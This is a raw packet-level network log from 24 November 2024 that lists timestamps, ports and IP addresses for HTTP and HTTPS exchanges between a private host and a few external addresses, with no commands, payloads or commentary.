Nov 24, 2024 00:06:24.301403046 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.301417112 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.301453114 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.302421093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.303349972 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.303486109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.303563118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.309940100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.310101986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.310209036 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.312572002 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.316452026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.316555977 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.316663980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.316663980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.321825027 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.321851015 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.321949959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.322000980 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.322011948 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.322012901 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.322058916 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.322069883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.322078943 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.322091103 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.322180986 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.323024035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.323156118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.323240042 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.329580069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.329734087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.329787970 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.329945087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.336173058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.336173058 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.336199045 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.336227894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.336294889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.336298943 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.336317062 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.336379051 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.336379051 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.336458921 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.346457958 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.346529961 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.346648932 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.346648932 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.346662045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.346940041 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.350091934 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.350111961 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.350217104 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.350228071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.350330114 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.364878893 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.364955902 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.365010977 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.365021944 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.365063906 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.365133047 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.371280909 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.371293068 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.371423960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.372448921 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.372514963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.372549057 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.372656107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.374594927 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.374614954 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.374723911 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.374723911 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.374737024 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.375853062 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.376362085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.376482964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.376749992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.380311012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.380517960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.380579948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.382239103 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.384227991 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.384339094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.384433031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.388036013 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.388057947 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.388159037 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.388199091 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.388210058 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.388267994 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.388269901 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.388287067 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.388515949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.392100096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.392203093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.392307997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.396022081 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.396136045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.396147966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.396267891 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.399970055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.400074959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.400116920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.400218964 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.403899908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.404002905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.404037952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.404331923 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.407819986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.407958031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.408330917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.411856890 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.411878109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.413862944 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.415734053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.415827990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.417897940 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.419610023 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.419718981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.419787884 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.419831038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.423170090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.423259974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.423279047 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.423330069 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.426706076 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.426821947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.426841021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.427052021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.430135012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.430236101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.433854103 CET	443	49709	173.222.162.64	192.168.2.6
Nov 24, 2024 00:06:24.434043884 CET	49709	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:24.465150118 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.465171099 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.465275049 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.465287924 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.465523958 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.471149921 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.471174955 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.471317053 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.471318007 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.471328020 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.472398043 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.494261026 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.494282961 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.494414091 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.494435072 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.494600058 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.496212006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.496268034 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.496282101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.496340990 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.497791052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.497967005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.497999907 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.498023987 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.498169899 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.498169899 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.498178959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.498272896 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.498326063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.498334885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.498444080 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.500174999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.500224113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.500255108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.500369072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.503334045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.503418922 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.503433943 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.503446102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.503472090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.503495932 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.503504992 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.503537893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.503586054 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.506510019 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.506591082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.506607056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.506694078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.506726980 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.506747007 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.506808043 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.506808043 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.506815910 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.506896973 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.509485006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.509578943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.509605885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.509701014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.512608051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.512624979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.512721062 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.515722036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.515860081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.516089916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.516237974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.518815041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.518853903 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.518940926 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.518964052 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.519016981 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.519017935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.519026995 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.519107103 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.519107103 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.521923065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.521998882 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.522027969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.522128105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.524996042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.525053978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.525106907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.525263071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.525824070 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.525842905 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.525929928 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.525937080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.525981903 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.526077032 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.527705908 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.527731895 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.527842999 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.527842999 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.527851105 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.527965069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.528110981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.528184891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.528376102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.530052900 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.530107975 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.530124903 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.530133009 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.530190945 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.530215025 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.531148911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.531230927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.531243086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.531368017 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.534101009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.534349918 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.538559914 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.538604975 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.538650990 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.538655996 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.538686991 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.539072037 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.541640043 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.541692019 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.541783094 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.541783094 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.541795969 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.541870117 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.548873901 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.548892975 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.549010038 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.549010038 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.549017906 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.549122095 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.549681902 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.549700975 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.549791098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.549791098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.549801111 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.549890041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.559082985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.559107065 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.559134960 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.559154034 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.559168100 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.559180021 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.559220076 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.559240103 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.559251070 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.559278965 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.559474945 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.568448067 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.568465948 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.568588018 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.568595886 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.568841934 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.576044083 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.576062918 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.576138020 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.576148033 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.576195955 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.576287031 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.579145908 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.579169035 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.579267979 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.579267979 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.579277992 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.579947948 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.587013960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.587071896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.587116957 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.587208986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.587618113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.587728024 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.587833881 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.589680910 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.589771986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.589787006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.589869976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.591748953 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.591816902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.591864109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.591981888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.593817949 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.593923092 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.593954086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.594113111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.595555067 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.595577955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.595683098 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.595683098 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.595694065 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.595758915 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.595865011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.595973015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.596091986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.597965002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.598074913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.598359108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.600022078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.600123882 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.600253105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.600812912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.602092981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.602284908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.602310896 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.602381945 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.604170084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.604281902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.604283094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.604355097 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.606205940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.606317997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.606342077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.606888056 CET	49720	80	192.168.2.6	185.215.113.206
